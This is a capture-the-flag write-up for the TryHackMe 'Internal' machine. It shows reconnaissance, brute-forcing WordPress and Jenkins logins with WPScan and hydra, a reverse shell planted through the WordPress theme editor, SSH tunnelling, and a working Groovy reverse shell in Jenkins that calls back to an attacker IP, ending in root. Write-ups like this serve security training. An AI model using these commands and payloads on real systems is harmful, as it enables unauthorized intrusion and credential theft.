Internal

Reconnaissance

From the description, we will first have to add internal.thm to our /etc/hosts, and looks like it's a black box pen test so let's start with a NMAP scan to see what we can do.

NMAP output
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-26 10:19 CET
Nmap scan report for internal.thm (10.10.250.126)
Host is up (0.039s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 6e:fa:ef:be:f6:5f:98:b9:59:7b:f7:8e:b9:c5:62:1e (RSA)
|   256 ed:64:ed:33:e5:c9:30:58:ba:23:04:0d:14:eb:30:e9 (ECDSA)
|_  256 b0:7f:7f:7b:52:62:62:2a:60:d4:3d:36:fa:89:ee:ff (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.29 (Ubuntu)
Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 2.6.32 (92%), Linux 2.6.39 - 3.2 (92%), Linux 3.1 - 3.2 (92%), Linux 3.2 - 4.9 (92%), Linux 3.7 - 3.10 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 143/tcp)
HOP RTT      ADDRESS
1   38.56 ms 10.8.0.1
2   38.86 ms internal.thm (10.10.250.126)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.52 seconds

Nothing special, looks like we will have to start with the website.

Going to the root of the website, there's not much we can get, so let's fire gobuster and see if there's something hidden.

gobuster dir -w common.txt --url http://internal.thm -t 25
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://internal.thm
[+] Method:                  GET
[+] Threads:                 25
[+] Wordlist:                common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2021/12/26 10:22:43 Starting gobuster in directory enumeration mode
===============================================================
/blog                 (Status: 301) [Size: 311] [--> http://internal.thm/blog/]
/javascript           (Status: 301) [Size: 317] [--> http://internal.thm/javascript/]
/phpmyadmin           (Status: 301) [Size: 317] [--> http://internal.thm/phpmyadmin/]
/wordpress            (Status: 301) [Size: 316] [--> http://internal.thm/wordpress/]

===============================================================
2021/12/26 10:22:48 Finished
===============================================================

Now finally we have something, looks like the server is hosting a WordPress website, so let's move onto scanning with more specific tools.

Scanning

First thing I like to throw at WordPress websites is WPScan to get something to start with, so let's see what we got.

wpscan --url http://internal.thm/blog
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.20

       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[i] Updating the Database ...
[i] Update completed.

[+] URL: http://internal.thm/blog/ [10.10.250.126]
[+] Started: Sun Dec 26 10:25:58 2021

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.29 (Ubuntu)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://internal.thm/blog/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://internal.thm/blog/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://internal.thm/blog/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 5.4.2 identified (Insecure, released on 2020-06-10).
 | Found By: Rss Generator (Passive Detection)
 |  - http://internal.thm/blog/index.php/feed/, https://wordpress.org/?v=5.4.2
 |  - http://internal.thm/blog/index.php/comments/feed/, https://wordpress.org/?v=5.4.2

[+] WordPress theme in use: twentyseventeen
 | Location: http://internal.thm/blog/wp-content/themes/twentyseventeen/
 | Last Updated: 2021-07-22T00:00:00.000Z
 | Readme: http://internal.thm/blog/wp-content/themes/twentyseventeen/readme.txt
 | [!] The version is out of date, the latest version is 2.8
 | Style URL: http://internal.thm/blog/wp-content/themes/twentyseventeen/style.css?ver=20190507
 | Style Name: Twenty Seventeen
 | Style URI: https://wordpress.org/themes/twentyseventeen/
 | Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo...
 | Author: the WordPress team
 | Author URI: https://wordpress.org/
 |
 | Found By: Css Style In Homepage (Passive Detection)
 |
 | Version: 2.3 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://internal.thm/blog/wp-content/themes/twentyseventeen/style.css?ver=20190507, Match: 'Version: 2.3'

[+] Enumerating All Plugins (via Passive Methods)

[i] No plugins Found.

[+] Enumerating Config Backups (via Passive and Aggressive Methods)
 Checking Config Backups - Time: 00:00:01 <=====================================================================================================> (137 / 137) 100.00% Time: 00:00:01

[i] No Config Backups Found.

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Sun Dec 26 10:26:05 2021
[+] Requests Done: 187
[+] Cached Requests: 5
[+] Data Sent: 46.546 KB
[+] Data Received: 17.829 MB
[+] Memory used: 211.852 MB
[+] Elapsed time: 00:00:06

Well that's not really useful, looks like there's not much we can do yet, and enumerating the users only gives admin, so perhaps we need to bruteforce it.

wpscan --url http://internal.thm/blog --usernames admin --passwords rockyou.txt -t 40
[+] Performing password attack on Xmlrpc against 1 user/s
[SUCCESS] - admin / my2boys
Trying admin / cherie Time: 00:00:51 <                                                                                                     > (3920 / 14348311)  0.02%  ETA: ??:??:??

[!] Valid Combinations Found:
 | Username: admin, Password: my2boys

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Sun Dec 26 10:31:53 2021
[+] Requests Done: 4060
[+] Cached Requests: 38
[+] Data Sent: 2.05 MB
[+] Data Received: 2.327 MB
[+] Memory used: 267.426 MB
[+] Elapsed time: 00:01:02

Indeed we did have to, but at least it wasn't too complex password, so it was really quick. Once inside admin user in WordPress, getting a reverse shell is trivial, so let's move to that part.

Exploiting

First thing to always try when getting a user in WordPress is go to theme editor and see if you have privileges to modify PHP code, so let's see.

Perfect, now go start up a listener with "nc -lvp (yourport)" and navigate to/curl http://internal.thm/blog/wp-content/themes/twentyseventeen/404.php

Reverse shell
max@1337 ~> nc -lvp 1337
Connection from 10.10.250.126:43592
Linux internal 4.15.0-112-generic #113-Ubuntu SMP Thu Jul 9 23:41:39 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 09:38:55 up 24 min,  0 users,  load average: 0.01, 0.83, 0.75
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ python3 -c "import pty;pty.spawn('/bin/bash')"
www-data@internal:/$ export TERM=xterm; export SHELL=/bin/bash
export TERM=xterm; export SHELL=/bin/bash
www-data@internal:/$ ^Zfish: Job 1, 'nc -lvp 1337' has stopped
max@1337 ~> stty raw -echo;fg
Send job 1, “nc -lvp 1337” to foreground


www-data@internal:/$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@internal:/$ 

We finally gained foothold, now let's move to the privilege escalation to root.

Privilege Escalation

First thing to do after getting a reverse shell is explore the filesystem and see if there's any backup or credentials left in some file.

Looks like we are lucky, going to opt directory there's a wp-save.txt file with some credentials for the only /home user.

Directory enumerating
www-data@internal:/$ cat opt/wp-save.txt
cat opt/wp-save.txt
Bill,

Aubreanna needed these credentials for something later.  Let her know you have them and where they are.

aubreanna:bubb13guM!@#123
www-data@internal:/$ su aubreanna
su aubreanna
Password: bubb13guM!@#123

aubreanna@internal:/$ id
id
uid=1000(aubreanna) gid=1000(aubreanna) groups=1000(aubreanna),4(adm),24(cdrom),30(dip),46(plugdev)
aubreanna@internal:/$

Well that was really easy, grab the user flag from aubreanna's home directory and let's see what we can do from here.

Looks like there's also a file jenkins.txt that discloses an internal service running on port 8080 in 172.17.0.2. That sound like we will have to reverse ssh tunnel and get the jenkins service on our local machine.

First, we will have to append our public ssh key to the server, so follow these steps.

SSH port forwarding
ssh-keygen -t rsa (your machine)
echo 'your public key' > /home/aubreanna/.ssh/authorized_keys (internal's server)
ssh -L 9999:localhost:8080 aubreanna@internal.thm -i id_rsa (your machine)

Finally we have their Jenkins service running on our machine, let's see what we can do from here.

It's protected with login, so let's try bruteforcing again, this time with hydra

sudo hydra -l admin -P rockyou.txt 127.0.0.1 -s 9999 http-post-form "/j_acegi_security_check:j_username=admin&j_password=^PASS^&from=%2F&Submit=Sign+in:Invalid username or password" -t 30 -I
Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-12-26 11:03:59
[DATA] max 30 tasks per 1 server, overall 30 tasks, 14344398 login tries (l:1/p:14344398), ~478147 tries per task
[DATA] attacking http-post-form://127.0.0.1:9999/j_acegi_security_check:j_username=admin&j_password=^PASS^&from=%2F&Submit=Sign+in:Invalid username or password
[STATUS] 673.00 tries/min, 673 tries in 00:01h, 14343725 to do in 355:14h, 30 active
[9999][http-post-form] host: 127.0.0.1   login: admin   password: spongebob
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-12-26 11:05:56
max@1337 ~>

Nice, we got it. Now let's login and see if we can something.

From this article,looks like getting a reverse shell in jenkins is trivial, so let's do it.

Jenkins Reverse Shell
String host="10.8.208.63";
int port=1338;
String cmd="bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
On our machine
max@1337 ~> nc -lvp 1338
Connection from 10.10.250.126:37320
id
uid=1000(jenkins) gid=1000(jenkins) groups=1000(jenkins)
python -c "import pty;pty.spawn('/bin/bash')"
jenkins@jenkins:/$ export TERM=xterm; export SHELL=/bin/bash
export TERM=xterm; export SHELL=/bin/bash
jenkins@jenkins:/$ ^Zfish: Job 1, 'nc -lvp 1338' has stopped
max@1337 ~> stty raw -echo;fg
Send job 1, “nc -lvp 1338” to foreground
jenkins@jenkins:/$ ls
jenkins@jenkins:/$ ls /opt
ls /opt
note.txt
jenkins@jenkins:/$ cat /opt/note.txt
cat /opt/note.txt
Aubreanna,

Will wanted these credentials secured behind the Jenkins container since we have several layers of defense here.  Use them if you
need access to the root user account.

root:tr0ub13guM!@#123
Swapping to root with found credentials
aubreanna@internal:~$ su root
Password:
root@internal:/home/aubreanna# cd /root
root@internal:~# ls
root.txt  snap
root@internal:~# cat root.txt
THM{d0ck3r_d3str0y3r}
root@internal:~# 

And that's it, really interesting machine in my opinion. Hope you enjoyed it.